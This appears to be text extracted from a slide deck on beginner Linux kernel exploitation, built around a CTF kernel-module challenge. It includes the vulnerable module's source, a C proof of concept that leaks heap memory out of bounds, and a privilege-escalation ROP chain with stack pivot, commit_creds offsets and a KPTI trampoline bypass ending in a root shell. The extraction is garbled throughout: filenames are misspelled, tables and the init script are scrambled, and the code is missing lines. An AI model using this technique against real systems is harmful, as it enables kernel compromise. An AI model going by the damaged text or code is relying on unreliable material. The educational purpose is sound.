Linux Kernel Exploitation For Beginners

What?

- A kernel is a core component of an operating system.
- Responsible for managing system resources (Processes, Memory, Storage, etc...)
- Handles all interactions between software and hardware.
- Provides security and isolation (Permission management, memory isolation, process isolation)

Why?

• Kernel runs in a privileged context.

• Large attack surface (modules, drivers, syscalls, subsystems)

• Helps to develop practical understanding of OS internals

• Linux is widely used (servers, embedded devices, appliances, phones, etc...)

Why CTF?

• Reduced complexity (limited background processes, predictable memory state)

• Certain barriers to entry are lowered (pre-compiled kernel image, filesystem, source code)

• Often less focus on vuln, more on exploitation strategy

• Customizable (increase difficulty, add/remove mitigations, limit primitives)

Challenge Structure

• Kernel CTF challenges typically include a compressed kernel image, a compressed filesystem, a qemu cli script, and source code for vulnerability (often a module).

root@hop:~/CTF/krce/challe	enge-files# l	s -al	
total 13272			
drwxr-xr-x 3 root root	4096 May 22	10:19 .	
drwxr-xr-x 5 root root	4096 May 21	14:08	
-rw-rr 1 root root 487	1168 May 14	11:46 bzImage	Kernel Image
-rwxr-xr-x 1 root root	109 May 22	10:19 decompress.sh	
-rw-rr 1 root root	55 May 14	13:20 flag.txt	
-rw-rr 1 root root 869	1200 May 22	10:18 initramfs2.cpio	Filesystem
drwxr-xr-x 2 root root	4096 May 14	13:20 STC	Source Directory
-rwxr-xr-x 1 root root	380 May 14	13:21 start-gemu.sh	Kernel Image

Initial Recon

• Decompressing and exploring the file system

root@hop:~/CTF/krce/challenge-files# cat decompress.sh
#!/bin/bash

rm -rf initramfs/

mkdir initramfs
pushd . && pushd initramfs
cpio -i < ../initramfs2.cpio
popd</pre>

root@hop:~,	/CTI	F/krce	e/cha	llenge-	file	s/ir	nitram	fs# ls -al
total 1744								
drwxr-xr-x	17	root	root	4096	May	24	10:31	
drwxr-xr-x	4	root	root	4096	May	22	16:29	
drwxr-xr-x	2	root	root	4096	May	22	16:15	
drwxr-xr-x	4	root	root	4096	May	22	16:15	
drwxr-xr-x	5	root	root	4096	May	22	16:16	
rwxr-xr-x	1	root	root	501	May	22	16:24	init
drwxr-xr-x	4	root	root	4096	May	22	16:15	Lib
lrwxrwxrwx	1	root	root	3	May	22	16:15	lib64 -> lib
lrwxrwxrwx	1	root	root	11	May	22	16:15	<pre>linuxrc -> bin/busybox</pre>
drwxr-xr-x	2	root	root	4096	May	22	16:15	
drwxr-xr-x	2	root	root	4096	May	22	16:15	
drwxr-xr-x	2	root	root	4096	May	22	16:15	
-rwxr-xr-x	1	root	root	785576	May	22	16:15	poc
drwxr-xr-x	2	root	root	4096	May	22	16:15	
drwx	2	root	root	4096	May	22	16:15	
drwxr-xr-x	2	root	root	4096	May	22	16:15	
drwxr-xr-x	2	root	root	4096	May	22	16:15	
drwxr-xr-x	2	root	root	4096	May	22	16:15	
-rwxr-xr-x	1	root	root	924792	May	22	16:15	thrd
drwxrwxrwt	2	root	root	4096	May	22	16:15	tmp
drwxr-xr-x	6	root	root	4096	May	22	16:15	
drwxr-xr-x	5	root	root	4096	May	22	16:15	
	(CT)	- 11	- I - b - 1		E 2 1 -	- 13 -	1.	fell la slavet
root@hon ·~/(TE/	krcel	challe	nge-file	s/in	itra	mfs# lo	s -al root

root@hop:~/	/CTI	F/krce	e/cha	lleng	e-fi	les,	/initra	amfs# ls	-al root
total 20									
drwx	2	root	root	4096	May	24	11:27		
drwxr-xr-x	17	root	root	4096	May	24	10:41	<u>.</u>	<u>,</u>
-rw-rr	1	root	root	6808	May	22	16:15	buffer.k	0
- rw-rr	1	root	root	200	May	22	16:15	readme.t	xt

System Init Files

- Initramfs uses /init as the first userspace script to be executed after the filesystem is mounted.
- Other startup scripts may be helpful/necessary



root@hop:~/	'C	h/kr	ce/cha	allen	ge-f:	ile	s/init	ramfs/etc/ini	t.d# ls	-al
total 20										
drwxr-xr-x	2	root	root	4096	May	22	16:28			
drwxr-xr-x	5	root	root	4096	May	22	16:16			
-rwxr-xr-x	1	root	root	423	May	22	16:15	гсК		
-rwxr-xr-x	1	root	root	408	May	22	16:15	rcS		
-rwxr-xr-x	1	root	root	554	May	22	16:28	S99ctf		
root@hop:~/	<u>/C</u>	F/kr	ce/cha	allen	ge-fi	ile	s/init	ramfs/etc/ini	t.d#	

in/sh tup -s t -t proc none /proc t -p /dev/pts	
up -s -t proc none /proc -p /dev/pts	
-s -t proc none /proc -p /dev/pts	
-t proc none /proc	
-p/dev/pts	
p / del/pes	
-vt devpts -o gid=4,mode=620 none /dev/pts	
666 /dev/ptmx	
-opost	
2 > /proc/sys/kernel/kptr restrict	
1 > /proc/sys/kernel/dmesg restrict	
a /root/duffer.ko 1 -m 666 /dev/buffer c `grep buffer /proc/devices a	awk '{print \$1;}'` 0
-e "\nBoot took \$(cut -d' ' -f1 /proc/uptime) second	ds\n"
"[kRCE - zerOpts CTF 2022]"	
t/interface	
d cttyhack setuidaid 65534 sh	
a cecynaett becaragra bbbbh bhr	

poweroff -d 0 -f

Source Code Analysis

• Main functionality consists of New, Delete, Edit, and Show commands.

• Controllable heap allocations/deallocations

• Kernel-specific functions (copy-from/to-user, kzalloc, kfree)

```
char *buffer[BUF NUM];
long buffer new(uint32 t index, uint32 t size) {
  if (index >= BUF NUM)
  if (!(buffer[index] = (char*)kzalloc(size, GFP KERNEL)))
  return 0;
long buffer del(uint32 t index) {
  if (index >= BUF NUM)
  if (!buffer[index])
  kfree(buffer[index]);
  buffer[index] = NULL;
  return 0;
long buffer edit(int32 t index, char *data, int32 t size) {
  if (index >= BUF NUM)
    return -EINVAL:
  if (!buffer[index])
   if (copy from user(buffer[index], data, size))
  return 0;
long buffer_show(int32 t index, char *data, int32 t size) {
  if (index >= BUF NUM)
  if (!buffer[index])
  if (copy to user(data, buffer[index], size))
  return 0;
```

Vulnerability Analysis

• No Size Checks on Edit or Show commands

• Size variable is user controlled

• Provides OOB heap read and write primitives

• Flexible heap cache placement



Kernel Module Interaction

- Kernel module specific structures and functions
 - file_operations
 - module_init
 - \circ module_exit
- Character device registered will serve as 'file' interface for userspace interaction
- IOCTL function registered to pass data and commands between user and kernel space

<pre>static long module_ioctl(struct file *filp,</pre>
unsigned int cmd,
unsigned long arg) {
request_t req;
<pre>if (copy_from_user(&req, (void*)arg, sizeof(request_t))) return -EINVAL;</pre>
<pre>switch (cmd) { case CMD NEW : return buffer new (req.index, req.size); case CMD_EDIT: return buffer_edit(req.index, req.data, req.size); case CMD_SHOW: return buffer_show(req.index, req.data, req.size); case CMD_DEL : return buffer_del (req.index); default: return -EINVAL; } }</pre>
<pre>static struct file operations module_tops = { .owner = THIS MODULE, .unlocked_ioctl = module_ioctl, };</pre>
static day t day id.
static dev_t dev_10; static struct cdev c_dev;
<pre>static intinit module_initialize(void) { if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) { printk(KERN_WARNING "Failed to register device\n"); return -EBUSY; } }</pre>
cdev_init(&c_dev, &module_fops); c_dev.owner = THIS_MODULE;
<pre>if (cdev_add(&c_dev, dev_id, 1)) { printk(KERN_WARNING "Failed to add cdev\n"); unregister_chrdev_region(dev_id, 1); return -EBUSY; }</pre>
return 0; }
<pre>static voidexit module_cleanup(void)</pre>
{ cdev_del(&c_dev); unregister_chrdev_region(dev_id, 1); }
<pre>module_init(module_initialize); module_exit(module_cleanup);</pre>

Initial PoC

- Open handle to /dev/buffer
- Allocate two buffer objects of the same size
- Write explicit values to each buffer to serve as markers/indicators
- Prove OOB read by leaking the explicit value of buffer 2 by reading past the bounds of buffer 1

request_t req, leak_req;

int buffd = open("/dev/buffer", 0_RDWR); if(buffd < 0) { fprintf(stderr, "error opening file: %m\n"); return -1;

req.index = 1; req.size = 0x3e8;

if(ioctl(buffd, CMD_NEW, &req)) {
 fprintf(stderr, "CMD_NEW failed: %m\n");
 return -1;

req.data = malloc(req.size); strcpy(req.data, "AAAAAAAABBBBBBBBB");

if(ioctl(buffd, CMD_EDIT, &req)) {
 fprintf(stderr, "CMD_EDIT failed: %m\n");
 return -1;

getchar();

req.index = 2; strcpy(req.data, "CCCCCCCDDDDDDDD");

if(ioctl(buffd, CMD_NEW, &req)) {
 fprintf(stderr, "CMD_NEW failed: %m\n");
 return -1;

if(ioctl(buffd, CMD_EDIT, &req)) {
 fprintf(stderr, "CMD_EDIT failed: %m\n");
 return -1;

getchar();

leak_req.index = 1; leak_req.size = 0x800; leak_req.data = malloc(leak_req.size);

if(ioctl(buffd, CMD_SHOW, &leak_req)) {
 fprintf(stderr, "CMD_SHOW failed: %m\n");
 return -1;

long *leak = leak_req.data; for(int i=0;i<0x100;i++) { printf("leak[%d]: %lx\n", i, leak[i]); }

return 0;

Debugging Workflow - Challenge Specific

- Modify QEMU CLI command to allow remote debugging
- Add file system compression routine to QEMU script
- Disable KASLR via QEMU CLI arguments
- Adjust startup script to boot into root shell
- Disable KPTR restrict to reveal Kernel symbols through /proc/kallsyms



Debugging Workflow - GDB/GEF

- GDB GNU Debugger
- GEF (GDB Enhanced Features) provides extended features specifically for exploit development and reverse engineering
- Bata24 Fork of GEF is actively maintained and provides kernel specific commands
 - kmalloc tracing
 - Kernel symbol application
 - SLUB/SLAB inspection
 - Pagewalking

Legend, Hourited register code heap	Statk Wittable Redunity Rone Max Stitling]	registers
<pre>\$rax : 0x000055555558da0 <main> -> 0</main></pre>	xe5894855fa1e0ff3	
rbx : 0x00007fffffffdde8 -> 0x00007f	ffffffe0af -> 0x6e69622f7273752f '/usr/bin/ls'	
rcx : 0x00005555555575f38 < do global	dtors aux fini array entry> -> 0x0000055555555add0 < do global dtors aux> -	> 0xc4a53d80fa1e0ff3
rdx : 0x00007fffffffddf8 -> 0x00007f	ffffffe0bb -> 0x622f3d4c4c454853 'SHELL=/bin/bash'	
sp : 0x00007fffffffdcc8 -> 0x00007f	<pre>ffffc2aica < libc start call main+0x7a> -> 0xe80001d9bfe8c789</pre>	
bp : 0x00007ffffffdd60 -> 0x00007f	TTTTTTTddc8 -> 0x00000000000000000	
si : 0x00007fffffffdde8 -> 0x00007f	ffffffe0af -> 0x6e69622f7273752f '/usr/bin/ls'	
di : 0x000000000000001		
rip : 0x000055555558da0 <main> -> 0</main>	xe5894855fa1e8ff3	
r8 : 0x000000000000000		
r9 : 0x00007ffff7fca380 < dl fini> -	> 0xe5894855fa1e0ff3	
r10 : 0x00005555555792a0 -> 0x000000		
r11 : 0x0000000000000246		
12 : 0x000000000000000		
13 : 0x000000000000000		
r14 : 0x00005555555575f38 <do_global_< td=""><td><pre>dtors_aux_fini_array_entry> -> 0x0000055555555add0 <do_global_dtors_aux> -</do_global_dtors_aux></pre></td><td>> 0xc4a53d80fa1e0ff3</td></do_global_<>	<pre>dtors_aux_fini_array_entry> -> 0x0000055555555add0 <do_global_dtors_aux> -</do_global_dtors_aux></pre>	> 0xc4a53d80fa1e0ff3
r15 : 0x00007ffff7ffd000 <_rtld_global	> -> 0x00007ffff7ffe2e0 -> 0x000055555554000 -> 0x00010102464c457f	
eflags: 0x246 [ident align vx86 resume n	ested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3	
ics: 0x33 \$ss: 0x2b \$ds: 0x00 \$es: 0x00 \$	fs: 0x00 \$gs: 0x00	
		stack
rsp 0x7fffffffdcc8 +0x0000 +000: 0x0000	<pre>7ffff7c2aica <libc_start_call_main+0x7a> -> 0xe80001d9bfe8c789</libc_start_call_main+0x7a></pre>	
0x7fffffffdcd0 +0x0008 +001: 0x0000	7ffffffdd40 -> 0x00000000000000	
0x7fffffffdcd8[+0x0010]+002: 0x8000	7fffffffdde8 -> 0x00007fffffffe0af -> 0x6e69622f7273752f '/usr/bin/ls' <-	\$rbx, \$rsi
0x7fffffffdce0 +0x0018 +003: 0x0000	000155554040	
0x7fffffffdce8 +0x0020 +004: 0x0000	ISSSSSSS8da0 ≪main> -> 0xeS894855fa1e0ff3 <- retaddr[0], \$rax, \$rip	
0x7fffffffdcf0[+0x0028[+005: 0x0000	7fffffffdde8 -> 0x00007fffffffe0af -> 0x6e69622f7273752f '/usr/bin/ls' <-	\$rbx, \$rsi
0x7fffffffdcf8 +0x0030 +006: 0x88e7	acbcaea4dff7	
0x7fffffffdd00 +0x0038 +007: 0x0000	00000000001	
	code:	x86:64 (gdb-native)
0x555555558d8e e8bdf9ffff	<canonicalize_filename_mode.constprop[cold]> call 8x55555558758 <abort@< td=""><td>plt></td></abort@<></canonicalize_filename_mode.constprop[cold]>	plt>
0x5555555558d93 662e0f1f84000000000	<no_symbol> cs nop WORD PTR [rax + rax * 1 + 0x0]</no_symbol>	
0x5555555558d9d 0f1f00	<no_symbol> nop DWORD PTR [rax]</no_symbol>	
-> 0x555555558da0 f30flefa	<main> endbr64</main>	
0x555555558da4 55	<main+8x4> push rbp</main+8x4>	
6x555555558da5 4889e5	<main+0x5> mov rbp, rsp</main+0x5>	
0x555555558da8 4157	<main+8x8> push r15</main+8x8>	
0x555555558daa 4156	<main+8xa> push r14</main+8xa>	
0x555555558dac 4155	<main+0xc> push r13</main+0xc>	
		threads
*Thread Id:1, tid:20669] Name: "ls", sto	pped at 0x55555558da0 <main>, reason: TEMPORARY BREAKPOINT</main>	
#0] 0x55555558da0 <main></main>		

Debugging Workflow/PoC Demonstration

Target Selection

• Linux kernel provides a number of useful targets for exploitation

- Commonalities between targets
 - function tables/function pointers
 - fixed pointers for leaks
 - r/w or copy mechanisms
 - direct or indirect allocations from userspace

• Challenge hint #1 - /dev/pts and /dev/ptmx file permissions

tty_struct overview

- Can be allocated by opening /dev/ptmx
- Size is 0x2e0 which resides in kmalloc-1024
- Kernel and heap leaks can be achieved through various fields (ops, dev, driver)
- Magic value serves as indication of object in memory
- Redirect execution through use of forged ops structure (function table)



Initial Exploit Strategy (Naive)

- Allocate buffer object in same cache as tty_struct (kmalloc-1024)
- Allocate tty_struct by opening /dev/ptmx
- Use OOB read to leak tty_struct and validate adjacency
- Create fake tty_operations function table within buffer object
- Overwrite tty_struct->tty_operations to point to fake function table within buffer through OOB write primitive
- Trigger one of the tty_operations associated with tty_struct allocation.
- Profit?



Leaking Pointers

• OOB Read primitive can be used to leak data

- 3 types of leaks necessary
 - tty_struct leak to prevent clobbering necessary values
 - Heap leak to determine location of buffer object
 - Kernel leak to determine offsets for ROP gadgets

• tty_struct is a strong target that provides all 3 types of leak required

1	ruct tty struct {
leak[128]: 100005401	int magic;
leak[129]: 0	struct kref kref;
leak[130]: ffff88800277b180	<pre>struct device *dev; /* class device or NULL (e.g. ptys, serdev) */</pre>
leak[131]: ffffffff81c39c60	struct thy driver *driver:
leak[132]: 0	const struct tty_operations *ops;
leak[133]: 0	Int Intery
leak[134]: 0	/* Protects ldisc changes: Lock tty not pty */
leak[135]: ffff8880079e1438	<pre>struct ld_semaphore ldisc_sem;</pre>
leak[136]: ffff8880079e1438	<pre>struct tty_ldisc *ldisc;</pre>
leak[137]: ffff8880079e1448	
leak[138]: ffff8880079e1448	
leak[139]: ffff8880027465b0	
leak[140]: 0	
leak[141]: 0	
leak[142]: ffff8880079e1470	
leak[143]. ffff8880079e1470	
leak[144]: A	
leak[145]: 0	
leak[145]: 0	
leak[147]: ffff8880079e1490	
leak[149]: 0	
leak[140]. 0	
leak[150], ffff8880070e1/b0	
look[151], ffff9990070014b0	
look[152], 0	
leak[154]: 0	

Leaking Pointers (Heap)

• Slub-dump GEF command can help determine heap location.

• Heap pointers included in this leak are offsets within the tty_struct object (0x38 and 0x48)

• kmalloc-tracer can be used to validate this objects' heap location

leak[135]: ffff8880079e1438
leak[136]: ffff8880079e1438
leak[137]: ffff8880079e1448
leak[138]: ffff8880079e1448

kmem cache: 0xffff888002441b00 name: kmalloc-1k flags: 0x40000000 (CMPXCHG DOUBLE) object size: 0x400 (chunk size: 0x400) offset (next pointer in chunk): 0x200 red left pad: 0x0 kmem cache cpu (cpu0): 0xffff888007222fc0 active page: 0xffffea00001e7800 virtual address: 0xffff8880079e0000 num pages: 2 in-use: 7/8 frozen: 1 lavout: 0x000 0xffff8880079e0000 (in-use) 0x001 0xffff8880079e0400 (in-use) 0x002 (in-use) 0x003 0xffff8880079e0c00 (in-use) 0x004 0xffff8880079e1000 (in-use) 0x005 0xffff8880079e140 (in-use) 0x006 0x11118880079e1800 (in-use) 0x007 0xffff8880079elc00 (next: 0x0) freelist (fast path): 0x007 0xffff8880079e1c00 freelist (slow path): (none) next: 0xffff888002441a00

Leaking Pointers (Kernel function)

• Determine general memory area for kernel function pointers through /proc/kallsyms

• Validate specific leaked address against kallsyms

/ # cat /proc/kallsyms | grep ffffffff8131b3e0 ffffffff8131b3e0 t do_tty_hangup

• Leaked kernel function pointers can be used to calculate offsets to other functions and gadgets

/ # head -n 20 /proc/kallsyms ffffffff81000000 T startup 64 ffff81000000 stext ffff81000000 T text ffffffff81000040 T secondary startup 64 ffffffff81000045 T secondary startup 64 no verify ffffffff81000110 t verify cpu ffffffff81000210 T sev verify cbit fffffffff81000220 T start cpu0 ffffffff81000230 T startup 64 ffffffff810005e0 T startup 64 setup env startup secondary 64 ffff81000630 T ffff81000640 T early setup idt ff81000660 t initcall blacklisted fffff810006e0 T do one initcall ffffffff81000840 t match dev by label ffffffff81000870 t match dev by uuid ffff810008a0 t rootfs init fs context ffff810008c0 T name to dev t ffffffff81000d00 T wait for initramfs ffffffff81000d50 W calibration delay done

leak[199]:	ffff8880079e3a38
leak[200]:	ffff8880079e3a38
leak[201]:	ffffffff8131b3e0
leak[202]:	ffffc90000165000
leak[203]:	ffff888002b866c0
leak[204]:	0
leak[205]:	ffff8880079e3a68
leak[206]:	ffff8880079e3a68

SMEP/SMAP Mitigation

• Prior to SMEP/SMAP, ret2usr style attacks were easily permitted

• SMEP prevents execution from userspace pages from kernel context

• SMAP prevents reads/writes to userspace pages from kernel context



SMEP/SMAP Bypass - Kernel ROP

- ROP (Return Oriented Programming) is a exploitation method of redirecting execution by chaining together snippets of code (gadgets) that exist within the program's memory to achieve desired functionality
- Each ROP gadget will end in a return instruction
- RET will pop an 8-byte value into the RIP register, increment the stack pointer (RSP) by 8-bytes, then continue to the next instruction pointed to by RIP



Initial ROP Strategy

- Escalate process privileges through standard kernel mechanisms
 - prepare_kernel_cred
 - commit_creds
- Return to userspace context using gadgets
 - swapgs instruction
 - iret instruction
- Execute shell from userspace
 - execve /bin/sh

Stack Pivot

• Our tty_struct primitive will allow us to redirect execution to an arbitrary location, however we need to construct our ROP chain on the process stack based on how ROP functions.

• In this circumstance it is possible to adjust the location of the stack using a ROP gadget, this technique is called a 'stack pivot"

0xfffffff81027230 : pop rsp ; ret 0xfffffff8141a9e2 : pop rsp ; pop rbx ; pop r12 ; pop rbp ; ret 0xfffffff8128dbff : pop rsp ; pop rbx ; ret 0xfffffff81001821 : pop rsp ; pop rbp ; ret

ROP Chain must account for additional 'pop' instructions

ROP - Finding Gadgets

- Multiple tools/methods for finding gadgets
 - Ropper
 - ROPGadget
 - Manually?

• Extract compressed kernel image (BzImage) to run ROP gadget tools against

• Gadgets can be output to text file and searched in order to construct chain.

root@hop:-/CTF/krce# file bzImage bzImage: Linux kernel x86 boot executable bzImage, version 5.16.14 (ptr@medium-pwn) #1 SMP PREEMPT Wed Mar 16 14:4A root@hop:-/CTF/krce# ./extract.sh bzImage > vmlinux root@hop:-/CTF/krce# file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=d7af490387a3d9d0b52d root@hop:-/CTF/krce# file vmlinux

<pre>Oxffffffff8lcb2cd3 : adc ah, ah ; cwde ; jmp 0xffffffff6lcb22d3 0xffffffff8lcb2cd3 : adc ah, ah ; nop ; cwde ; jmp 0xffffffff8lcc3067 0xffffffff8lca3052 : adc ah, ah ; push -0xd05392e9 ; cwde ; jmp 0xffffffff8lcc3059 0xffffffff8lca3054 : adc ah, ah ; push -0xd05392e9 ; cwde ; jmp 0xffffffff8lcc3059 0xffffffff8llc15ff6 : adc ah, ah ; push qword ptr [rcx] ; rcr byte ptr [rbx + 0x41], 0x5c ; pop rbp ; ret 0xffffffff8llc15ff6 : adc ah, al ; add byte ptr [rax - 0x36], ah ; loop 0xffffffff8l01b561 ; ret 0xffffffff8l01b5d9 : adc ah, al ; add byte ptr [rax - 0x49], al ; loop 0xfffffff8l01b561 ; ret 0xffffffff8l01b202ca : adc ah, al ; jmp 0xffffffff8l0229ce 0xffffffff8l03a20a : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8l043a212 0xfffffff8l0102cde : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8l04204 0xffffffff8l0102cde : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8l02248ab 0xffffffff8l212928 : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8l2248ab 0xffffffff8l1212928 : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8l227210 0xffffffff8l5ladfa : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8l12a72710 0xfffffff8l15ladfa : adc ah, bh ; call qword ptr [rax - 0x77eff48] 0xffffffff8l120te10tEth : adc ah, bh ; call qword ptr [rbx - 0x57fffff] 0xfffffff8l120te10tEth : adc ah, bh ; call qword ptr [rbx - 0x57fffff]</pre>	root@hop:~/CTF/krce# head -20 gadgies Gadgets information
ØXTITTITE189341 : adc an, on ; jte 0XTITTITE19344C ; call qword ptr [rd1 + 0X/4000000] ØXfffffff81029727 : adc an, on ; jmp 0Xfffffff812036el ØXfffffff8126400a : adc an, on ; jmp 0Xfffffff81263fdc	<pre>wifffffff8lcb22c3 : adc ah, ah ; cwde ; jmp 0xffffffff8lcb22d3 xxffffffff8lcb22c3 : adc ah, ah ; nop ; cwde ; jmp 0xffffffff8lcc3067 xxffffffff8lce3052 : adc ah, ah ; push qword ptr [rcx] ; rcr byte ptr [rbx + 0x41], 0x5c ; pop rbp ; ret xxfffffff8llolb5d9 : adc ah, al ; add byte ptr [rax - 0x36], ah ; loop 0xffffffff8llolb561 ; ret axfffffff8llolb5d9 : adc ah, al ; add byte ptr [rax - 0x7d], cl ; jmp 0xfffffff8llolb561 ; ret axfffffff8ll0lb320a : adc ah, al ; add byte ptr [rax - 0x7d], cl ; jmp 0xfffffff8ll0lb561 ; ret axffffffff8ll0f3e0a : adc ah, al ; add byte ptr [rax - 0x7d], cl ; jmp 0xfffffff8ll0lb3a212 axffffffff8ll0f3e04 : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8ll0f9d2d axffffffff8ll0f9ed4 : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8ll02b44 axffffffff8ll224964 : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8ll02b48ab axffffffff8ll5ladfa : adc ah, bh ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xfffffff8ll2272710 axfffffff8ll5ladfa : adc ah, bh ; adl byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0xffffffff8ll5lad71 bxfffffff8ll5ladfa : adc ah, bh ; call qword ptr [rax - 0x17reff48] axfffffff8ll02277 : adc ah, bh ; jmp 0xffffffff8ll296e1 bxfffffff8ll02777 : adc ah, bh ; jmp 0xfffffffff8ll296e1 bxfffffff8ll02777 : adc ah, bh ; jmp 0xffffffff8ll263fdc</pre>

ROP - Constructing a Chain

- Understanding calling convention is important
 - Function arguments
 - Register usage
- Some assembly knowledge required
- Follow outline
- Get Creative (dealing with additional instructions and junk data)

Register	Function
RDI	Argument 1
RDX	Argument 2
R10	Argument 3
R8	Argument 4
R9	Argument 5
RAX	Return Value
RSP	Stack Pointer

ssize_t read(int fd, void buf[.count], size_t count);

SYSCALL NAME	references	RAX	ARGO (rdi)	ARG1 (rsi)	ARG2 (rdx)
read	man/ cs/	0	unsigned int fd	char *buf	size_t count
write	man/ cs/	1	unsigned int fd	const char *buf	size_t count

Updated ROP Strategy

ROP Trigger				
RDX = fake_stack_location stack_pivot_gadget	<pre>[RDX is user controlled through IOCTL arguments] [push rdx ; xor eax, 0x415b004f ; pop rsp ; pop rbp ; ret]</pre>			
Forged Stack Values				
junk_value pop_rdi_gadget rdi_value prepare_kernel_cred xchg_rdī_rax_gadget commit_creds swapgs iretq get_shell user_cs user_rflags user_sp user_ss	<pre>[0x0] [pop rdi ; ret] [0x0] [leak[201] - 0x2a8e80] [xchg rdi, rax ; sar bh, 0x89 ; ret] [leak[201] - 0x2a9020] [swapgs ; ret] [iretq] [userspace_function_pointer] [save_state_value] [save_state_value] [save_state_value] [save_state_value] [save_state_value]</pre>			

Register	Function
RDI	Argument 1
RDX	Argument 2
R10	Argument 3
R8	Argument 4
R9	Argument 5
RAX	Return Value
RSP	Stack Pointer

unsi	gned long u	ser_cs, user_ss, user_rflags, user_sp;
void	save_state	() {
	asm	0
		".intel syntax noprefix;"
		"mov user cs, cs;"
		"mov user ss, ss;"
		"mov user sp, rsp;"
		"pushf;"
		"pop user rflags;"
		".att syntax:"
);	
}		

KPTI Mitigation

- KPTI stands for Kernel Page Table Isolation
- Keeps separate page tables for user and kernel space



- Implemented originally as a mitigation for meltdown vulnerability which allowed for leaking kernel memory from user space
- Makes use of the CR3 register to store the root page table
- Switching between user and kernel space now requires the CR3 register to be updated

KPTI Bypass

- KPTI Trampoline makes use of the standard function used to switch between kernel and user space
- Swapgs_restore_regs_and_return_to_user_mode is the responsible function for this process
- Combines the needed CR3 switch with the swapgs and iret instructions from our existing ROP chain
- ROP into offset of function to avoid dealing with additional instructions

<pre>gef> disas swapgs_restore_regs_a</pre>	and_retu	ırn_to_usermode
Dump of assembler code for funct	tion swa	
exfififififileDel0 <+0>:		
exf111111111111111111111111111111111111		
0x1111111181800e14 <+4>:		
Oxititificialaonel6 <+6>:		
exffffffffsladdel8 <+8>:		
exitation 81800e19 <+9>:		
0x111111111111111111111111111111111111		
GwiffititttElaGuel: <+12>:		
externerelectel <+14>:		
ex 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1		
<pre>001111111101000022 <+18>:</pre>		
<+19>:		
uktrittittissebbe≥4 <+20>:		
<+21>;	DOD	151 rdf. ren
4125×		
		OWORD DTR [rds.
		QWORD FIR [TUI+ALS]
<+51>:		
(+52):		ay ay
ANTIFICITIES SAME AL <+54>:		rdi.cr3
Avfilletererainanan <+57>		Different filmmell <swapns and="" rens="" restore="" return="" to="" usermode+111=""></swapns>
0xffffffffffffffffffffff		rax.rdi
Byffffffffffffffffffffffffffffffffffff		rd1.6x717
exffffffffff81809=35 <+69>:		OWORD PTR ds:0x1f616.rdi
exffffffff81800e5f <+79>:		<pre>grfffffffffffffffffffffffffffffffffff</pre>
Buffffffffffffffffffffffffffffffffffff		QWORD PTR qs:0x1f616,rdi
Gwfffffffffff81800e6b <+91>:		rdi, rax
exffffffffffff81800e6e <+94>:		<pre>exffffffffl81800e78 <swapgs and="" regs="" restore="" return="" to="" usermode+104=""></swapgs></pre>
exffffffffffffffffelecere <+96>:		rdi, rax
Exffffffffffffffffffffffffffffffffffff		rdi,0021
exifififiesaccera <+104>:		rdi,0x800
Exff:::::::::::::::::::::::::::::::::::		rdi,0x1000
0x111111111111111111111111111111111111		cr3, rdi
Gxf11111181800659 <+121>:		rax
Bxfffffff81800e8a <+122>:		rdi
Sxcccccccc61800=85 <+123>:		
0x71111111111111111111111111111111	jmp	exffffffff81800eb0 <native_iret></native_iret>
End of assembler dump		

Final ROP Strategy

	ROP Trigger	
	RDX = fake_stack_location stack_pivot_gadget	<pre>[RDX is user controlled through IOCTL arguments] [push rdx ; xor eax, 0x415b004f ; pop rsp ; pop rbp ; ret]</pre>
	Forged Stack Values	
	iunk value	
	non rdi gadget	[non_rdi · ret]
	rdi value	
	prepare kernel cred	[leak[201] - 0x2a8e80]
	xchg rdi rax gadget	[xchg rdi, rax ; sar bh, 0x89 ; ret]
	commit creds	[leak[201] - 0x2a9020]
Γ	kpti_trampoline	[leak[201] + 0x4e5a30 + 0x16]
	junk_value	[0x0]
	junk value	[0x0]
	get_shell	[userspace_function_pointer]
	user_cs	[save_state_value]
	user_rflags	[save_state_value]
	user_sp	[save_state_value]
	user_ss	[save_state_value]

Register	Function
RDI	Argument 1
RDX	Argument 2
R10	Argument 3
R8	Argument 4
R9	Argument 5
RAX	Return Value
RSP	Stack Pointer

Full Chain Exploit Strategy

• Allocate a vulnerable buffer object in the kmalloc-1024 cache

• Allocate a tty_struct object in the same cache by opening /dev/ptmx

• Trigger OOB read vulnerability to leak tty_struct values and confirm object adjacency

- Trigger OOB write vulnerability to populate buffer object with forged values
 - Function table containing pointers to our stack pivot gadget
 - Fake 'stack' containing remaining ROP chain

Resources

• Linux Kernel Exploitation (articles, books, tools, CTF) - <u>https://github.com/xairy/linux-kernel-exploitation</u>

• Linux Kernel CTF challenges and writeups - <u>https://github.com/smallkirby/kernelpwn</u>

• Bata24 GEF Fork - <u>https://github.com/bata24/gef</u>

ROPGadget Tool - <u>https://github.com/JonathanSalwan/ROPgadget</u>